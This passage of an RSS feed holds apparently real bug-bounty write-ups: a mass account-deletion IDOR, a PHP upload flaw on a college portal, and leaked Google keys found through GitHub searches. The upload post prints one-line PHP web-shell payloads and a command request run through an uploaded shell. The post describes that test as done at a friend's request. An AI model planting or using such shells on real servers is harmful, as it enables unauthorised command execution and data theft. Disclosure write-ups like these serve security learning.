Rate Limiting</h4><p>use real-time IP/session detection with tools.</p><h3>Responsible Disclosure and Fix</h3><p>After confirming the vulnerability and ensuring no further damage was done, I responsibly reported the issue to the website’s security team.</p><p>The team acknowledged the issue, and a patch was deployed shortly after.</p><p>Here’s what was fixed:</p><ul><li>CAPTCHA tokens are now invalidated instantly and rate limits are enforced at the IP/session level (Race Condition case).</li></ul><h3>Final Thoughts</h3><p>Sometimes, the biggest vulnerabilities aren’t in your code — they’re in your <strong>timing</strong>.</p><p><em>Security isn’t just about what happens. It’s also about when it happens.</em></p><p>This bug taught me how important concurrency control is in modern web apps.If multiple things can happen at the same time — assume someone will try to break it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8b88a2a8c7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a vulnerability in Microsoft could delete Every User from one of their subdomain Website Using…]]></title>
            <link>https://medium.com/@anonymousshetty2003/how-i-could-delete-every-user-from-a-website-using-a-simple-broken-access-control-vulnerability-c1509ef9d3df?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1509ef9d3df</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Sat, 31 May 2025 11:22:00 GMT</pubDate>
            <atom:updated>2025-06-18T19:49:22.372Z</atom:updated>
            <content:encoded><![CDATA[<h3>How a vulnerability in Microsoft could delete Every User from one of their subdomain Website Using a Simple IDOR</h3><p>A Real-World Case of Mass Account Deletion with One API request in Microsoft</p><p>NOTE:<em> i have submitted vulnerabilities to this company before, but they do not accept low or medium severity vulnerabilities. So i focused on this company for a month to finally get a high severity vulnerability</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UlwCIrzz7zlN8vq7ikn5ug.png" /></figure><h3>Background</h3><p>This story began while testing one of their websites hosted on Word-press. The site was a small community site with typical functionality — login, profile management, post creation, and an option to <strong>delete your own account</strong>.</p><p>Now, when bug hunters usually check for vulnerabilities in subdomains we overlook websites that are hosted on word-press thinking that it is a static website. But although this website had proper checks on most of the endpoints, there are endpoints which might have been missed by hunters and developers.</p><p>And that’s exactly what happened.</p><h3>Initial Discovery</h3><p>After signing up and exploring the site, I decided to inspect all the request and viewing their logs in my burp history. But while i was verifying each endpoint one by one, the api call to delete the account caught my eye.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04wlOdjyZ7Qc6jz2ud5owA.png" /></figure><p>When I clicked “Delete my account,” the site made the following request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bNl5fQ3-hvEzjOdrd_EJLw.png" /></figure><p>Simple enough, right? But i noticed something critical:<br><strong>The server simply trusted the </strong><strong>user_id provided in the JSON body.</strong></p><p>So, when i changed the user_id value to something else, it got deleted</p><h3>POC</h3><p>to verify this, I registered another account to get a different user_id and confirmed the user IDs were assigned sequentially. Then i deleted the previous id by changing the user_id to see that it worked!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHyxTTr7D0qa7XjfmvVFSQ.png" /><figcaption>user_id:190485</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*foOUBTufH8_lp6SOhB91sw.png" /><figcaption>user_id:190484</figcaption></figure><h3>Potential Impact</h3><ul><li><strong>Data loss</strong>: Every user account could be permanently deleted.</li><li><strong>Business impact</strong>: Loss of customer trust, legal implications under data protection laws.</li></ul><p>Had I been malicious, I could have wiped the entire user base in under a minute.</p><p>I have reported this to them and they have accepted it as a high vulnerability and are deploying a fix for it. The bounty has not been decided, but will let u know!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dNCNz6PGAWWuhUvgSqzE1w.png" /></figure><h3>Final Thoughts</h3><p>This case proves how dangerous a seemingly minor oversight can be. Access control is one of the OWASP Top 10 for good reason.</p><p>Always verify <strong>authorization</strong>, not just authentication.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1509ef9d3df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Command Injection via PHP File Upload in an College Recruitment Registration Portal]]></title>
            <link>https://medium.com/@anonymousshetty2003/command-injection-via-php-file-upload-in-an-college-recruitment-registration-portal-034e56e89006?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/034e56e89006</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Sat, 31 May 2025 09:14:44 GMT</pubDate>
            <atom:updated>2025-05-31T09:14:44.203Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AslY6JU-yWoSbldWUdmddg.png" /></figure><p>It started when a friend reached out to me:</p><blockquote><em>“Hey, you’re doing an internship on pen-testing, right? Can you hack my college and show?</em>😂😂<em>”</em></blockquote><p>At first glance, their current site was secure and modern, with no upload forms or exposed inputs. But I took a different approach — I fired up Wayback Machine and searched for different subdomains of the portal. To my surprise, I stumbled upon a Recruitment Registration Portal.</p><h3>Recon and Exploitation</h3><p>After examining the page structure, i noticed that we didnt need to verfiy our gmail account or have an existing account. This makes the attack complexity very easy for attackers to access. So i registered with a dummy account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmKIbzEMeHmOOuqZ18usTQ.png" /></figure><p>This then redirected me to the page to upload the neccessary documents. So as a tester, my first instincts went for file upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*3KzdKIQRavA5y-AW3yemmw.png" /></figure><p>Now, u may ask y would i directly go for file upload? Well in wapplyzer i was able to see that it used PHP. The upload accepted .jpg, .png, and .pdf, but there was no client-side or server-side validation visible.</p><p>At first i tried:</p><pre>&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><p>But when i tried to perform commands, it didnt work. THen i searched the web to find an alternative. So i used another payload</p><pre>&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;</pre><p>When i upload this shell.php file and went to view the file it gave a blank page. Next i tried the commad</p><pre>https://[redacted].[redacted].in/faculty_recruitment/uploads/1748678373.php?cmd=ls</pre><p>i got a list of resumes that was present in the uploads folder. I wanted to exploit it further but i refrained and just told him to report this to his college.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8ec8leDuAW6yTm-9R29pQ.png" /></figure><h3>Impact</h3><p>This vulnerability allowed <strong>remote command execution</strong> on the server. The upload directory and associated backend were still live. Anyone with the direct link could have:</p><ul><li>Enumerated users</li><li>Created backdoors</li><li>Extracted sensitive teachers or users data</li></ul><p>All of this took less than <strong>15 minutes</strong> from start to finish.</p><h3>Ethical Considerations</h3><p>It’s important to note that gaining unauthorized access to any system is illegal and unethical. My goal was to help improve the security of the website and ensure that such issues were addressed.</p><h3>Conclusion</h3><p>Developers should always ensure that critical functionalities are protected and proper checks are implemented. As a cybersecurity enthusiast, I will continue to explore and report vulnerabilities responsibly, contributing to a safer digital world.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=034e56e89006" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Got into Google’s Hall of Fame Using GitHub Recon]]></title>
            <link>https://medium.com/@anonymousshetty2003/how-i-got-into-googles-hall-of-fame-using-github-recon-383cb88d056e?source=rss-6f43a2a57c93------2</link>
            <guid isPermaLink="false">https://medium.com/p/383cb88d056e</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[github-recon]]></category>
            <dc:creator><![CDATA[Anonymousshetty]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 11:03:26 GMT</pubDate>
            <atom:updated>2025-02-16T11:03:26.583Z</atom:updated>
            <content:encoded><![CDATA[<p>Google’s security team recognizes researchers who help identify and report vulnerabilities in their products. As a security researcher, I was able to secure a spot in Google’s Hall of Fame by leveraging GitHub reconnaissance. This blog details my approach, methodology, and key takeaways.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Al_dbzobQw0JBYb__LLTew.png" /></figure><h3>The Power of GitHub Recon</h3><p>GitHub is a goldmine for sensitive information leaks. Developers often mistakenly push credentials, API keys, and internal project details to public repositories. These leaks can lead to severe security vulnerabilities, making GitHub reconnaissance an essential skill for any bug bounty hunter.</p><h3>Step 1: Defining the Scope</h3><p>Before diving into reconnaissance, I needed to ensure that my research aligned with Google’s vulnerability disclosure policy. Google encourages responsible disclosure and has clear guidelines on what constitutes a valid security issue.</p><p>I focused on:</p><ul><li>Public GitHub repositories owned by Google and its subsidiaries.</li></ul><p>(This is the part that some reseachers missed as the bug i had found was present for the past 5months)</p><ul><li>Leaked credentials, API keys, OAuth tokens, and other sensitive information.</li><li>Potential misconfigurations in repositories containing Google-related code.</li></ul><h3>Step 2: Searching for Sensitive Information</h3><p>I used GitHub’s advanced search and tools like:</p><ul><li>GitHub Dorking – Searching for keywords such as api_key, secret_key, credential, access_key, apikey, token, aws_secret_key etc.</li><li>TruffleHog – A scanner that detects high-entropy secrets and credentials in Git repositories.</li></ul><p>[NOTE: Even though u can automate this with trufflehog, manual recon is better]</p><p>P.S i used a online tool called <strong>grep.app</strong> which showed me some secret_keys that were deleted but still had access</p><h3>Step 3: Identifying a Valid Vulnerability</h3><p>During my reconnaissance, I discovered an exposed Google Cloud API key and a flask secret key with unrestricted access. To validate the impact, I tested the key against Google Cloud services and confirmed that it allowed unauthorized actions.</p><h3>Step 4: Reporting the Issue</h3><p>Following Google’s vulnerability disclosure policy, I submitted my findings through their bug bounty platform. My report included:</p><ul><li>Steps to reproduce the issue.</li><li>The affected repository and leaked key.</li><li>Proof-of-concept demonstrating the unauthorized access.</li></ul><p>Google’s security team acknowledged the report, revoked the key, and secured the repository .</p><h3>Step 5: Hall of Fame Recognition</h3><p>As a token of appreciation, Google listed my name in their Hall of Fame for responsible disclosure. While some reports qualify for monetary rewards, my recognition was primarily for helping secure their infrastructure.</p><p>AAAANNNDDD i also got 500$ which was aweosome!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RPzFlUz0Mt4FrtyvM4Riew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpNHm2WmsvqzfomSva0AFQ.png" /></figure><h3>Lessons Learned</h3><ol><li><strong>Manual recon is Key</strong> — Automating reconnaissance with tools like Github and TruffleHog saves time and increases efficiency but manual recon can get u some findings that cannot be replaced by AI.</li><li><strong>Always Follow Disclosure Policies</strong> — Every company has different guidelines for reporting vulnerabilities. Adhering to them ensures responsible disclosure.</li><li><strong>Be Ethical</strong> — Never misuse found credentials. The goal is to report and help secure systems, not exploit them.</li><li><strong>GitHub is a Treasure Trove</strong> — Many companies unknowingly expose sensitive data. Regular scanning and reporting can improve overall security.</li></ol><h3>Final Thoughts</h3><p>GitHub reconnaissance is a powerful technique for discovering vulnerabilities, and responsible disclosure plays a crucial role in strengthening security. Getting into Google’s Hall of Fame was a rewarding experience, and I encourage other security researchers to explore similar methodologies while adhering to ethical hacking practices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=383cb88d056e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>